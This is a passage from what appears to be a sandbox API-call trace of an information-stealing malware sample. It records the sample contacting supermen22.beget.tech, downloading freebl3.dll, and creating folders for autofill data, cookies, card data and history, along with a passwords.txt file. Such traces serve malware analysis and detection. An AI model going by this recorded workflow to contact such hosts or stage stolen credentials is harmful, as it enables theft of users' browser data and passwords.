(lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.767] GetLastError () returned 0x0 [0042.767] SetLastError (dwErrCode=0x0) [0042.767] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0044.000] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f8b4, dwBufferLength=0x4) returned 1 [0044.000] InternetConnectA (hInternet=0xcc0004, lpszServerName="supermen22.beget.tech", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0044.001] InternetSetOptionA (hInternet=0xcc0008, dwOption=0x41, lpBuffer=0x1, dwBufferLength=0x0) returned 0 [0044.021] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/11", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0044.021] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0044.021] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0044.021] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0044.021] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0044.021] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A", dwHeadersLength=0x3f, dwModifiers=0x20000000) returned 1 [0044.021] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Length: 25", dwHeadersLength=0x12, dwModifiers=0x20000000) returned 1 [0044.021] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x1e90048*, dwOptionalLength=0x19 | out: lpOptional=0x1e90048*) returned 1 [0044.580] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x2e, lpBuffer=0x19f928, lpdwBufferLength=0x19f8b8, lpdwIndex=0x0 | out: lpBuffer=0x19f928, lpdwBufferLength=0x19f8b8, lpdwIndex=0x0) returned 0 [0044.581] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.582] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e82790, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f734 | out: lpBuffer=0x1e82790*, lpdwNumberOfBytesRead=0x19f734*=0x162) returned 1 [0044.583] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e828f2, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f734 | out: lpBuffer=0x1e828f2*, lpdwNumberOfBytesRead=0x19f734*=0x0) returned 1 [0044.583] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f790, lpdwBufferLength=0x19f734, lpdwIndex=0x0 | out: lpBuffer=0x19f790, lpdwBufferLength=0x19f734, lpdwIndex=0x0) returned 0 [0044.583] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0044.583] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0044.583] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0044.583] GetLastError () returned 0x0 [0044.583] SetLastError (dwErrCode=0x0) [0044.584] GetLastError () returned 0x0 [0044.584] SetLastError (dwErrCode=0x0) [0044.584] GetLastError () returned 0x0 [0044.584] SetLastError (dwErrCode=0x0) [0044.584] GetLastError () returned 0x0 [0044.584] SetLastError (dwErrCode=0x0) [0044.584] GetLastError () returned 0x0 [0044.584] SetLastError (dwErrCode=0x0) [0044.584] GetLastError () returned 0x0 [0044.584] SetLastError (dwErrCode=0x0) [0044.584] GetLastError () returned 0x0 [0044.584] SetLastError (dwErrCode=0x0) [0044.584] GetLastError () returned 0x0 [0044.584] SetLastError (dwErrCode=0x0) [0044.584] GetLastError () returned 0x0 [0044.584] SetLastError (dwErrCode=0x0) [0044.584] GetLastError () returned 0x0 [0044.584] SetLastError (dwErrCode=0x0) [0044.584] GetLastError () returned 0x0 [0044.584] SetLastError (dwErrCode=0x0) [0044.584] GetLastError () returned 0x0 [0044.584] SetLastError (dwErrCode=0x0) [0044.584] GetLastError () returned 0x0 [0044.584] SetLastError (dwErrCode=0x0) [0044.584] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Autofill" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\autofill"), lpSecurityAttributes=0x0) returned 1 [0044.585] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Cookies" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cookies"), lpSecurityAttributes=0x0) returned 1 [0044.585] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\CC" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cc"), lpSecurityAttributes=0x0) returned 1 [0044.585] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\history"), lpSecurityAttributes=0x0) returned 1 [0044.586] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Downloads" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\downloads"), lpSecurityAttributes=0x0) returned 1 [0044.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f814 | out: lpSystemTimeAsFileTime=0x19f814*(dwLowDateTime=0xc5b47f6b, dwHighDateTime=0x1d4c6c5)) [0044.586] GetLastError () returned 0x0 [0044.586] SetLastError (dwErrCode=0x0) [0044.586] GetLastError () returned 0x0 [0044.586] SetLastError (dwErrCode=0x0) [0044.586] GetLastError () returned 0x0 [0044.586] SetLastError (dwErrCode=0x0) [0044.586] GetTimeZoneInformation (in: lpTimeZoneInformation=0x48c5c8 | out: lpTimeZoneInformation=0x48c5c8) returned 0x2 [0044.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x48a918, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f78c | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x19f78c) returned 26 [0044.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x48a958, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f78c | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x19f78c) returned 26 [0044.601] CreateFileA (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19f6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0044.603] GetFileType (hFile=0x270) returned 0x1 [0044.603] CloseHandle (hObject=0x270) returned 1 [0044.604] CreateDirectoryA (lpPathName="C:\\ProgramData\\" (normalized: "c:\\programdata"), lpSecurityAttributes=0x0) returned 0 [0044.610] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x57cf20 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0044.610] GetLastError () returned 0xb7 [0044.610] SetLastError (dwErrCode=0xb7) [0044.610] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0044.610] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f7b8, dwBufferLength=0x4) returned 1 [0044.610] InternetConnectA (hInternet=0xcc0004, lpszServerName="supermen22.beget.tech", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0044.610] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/freebl3.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0044.610] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0044.611] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0044.611] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0044.611] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0044.611] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0044.664] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.664] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f84298, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f84298*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.665] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f84680, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f84680*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.665] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f84a68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f84a68*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.666] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f84e50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f84e50*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.666] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f85238, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f85238*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.666] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f85620, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f85620*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.666] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f85a08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f85a08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.666] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f85df0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f85df0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.666] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f861d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f861d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.667] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f865c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f865c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.667] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f869a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f869a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.667] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f86d90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f86d90*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.667] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f87178, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f87178*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.667] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f87560, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f87560*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.668] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f87948, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f87948*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.705] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f87d30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f87d30*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.705] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f88118, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f88118*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.705] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f88500, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f88500*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.705] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f888e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f888e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.705] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f88cd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f88cd0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.706] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f890b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f890b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.706] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f894a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f894a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.706] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f89888, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f89888*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.706] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f89c70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f89c70*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.707] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f8a058, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f8a058*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.707] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f8a440, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f8a440*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.707] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f8a828, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f8a828*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.707] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f8ac10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f8ac10*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.707] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f8aff8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f8aff8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.707] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1f8b3e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x1f8b3e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.709] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d7578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d7578*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.709] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d7960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d7960*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.709] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d7d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d7d48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.709] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d8130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d8130*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.709] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d8518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d8518*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.709] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d8900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d8900*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d8ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d8ce8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d90d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d90d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d94b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d94b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d98a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d98a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d9c88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d9c88*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25da070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25da070*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25da458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25da458*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25da840, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25da840*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.748] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dac28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dac28*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.748] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25db010, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25db010*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.749] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25db3f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25db3f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.755] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25db7e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25db7e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.755] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dbbc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dbbc8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.755] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dbfb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dbfb0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.756] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dc398, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dc398*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.756] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dc780, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dc780*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.756] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dcb68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dcb68*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.756] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dcf50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dcf50*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.756] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dd338, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dd338*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.756] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dd720, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dd720*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.757] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ddb08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ddb08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.757] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ddef0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ddef0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.757] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25de2d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25de2d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.757] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25de6c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25de6c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.758] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25deaa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25deaa8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.759] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ede98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ede98*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.759] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ee280, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ee280*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0044.759] InternetReadFile 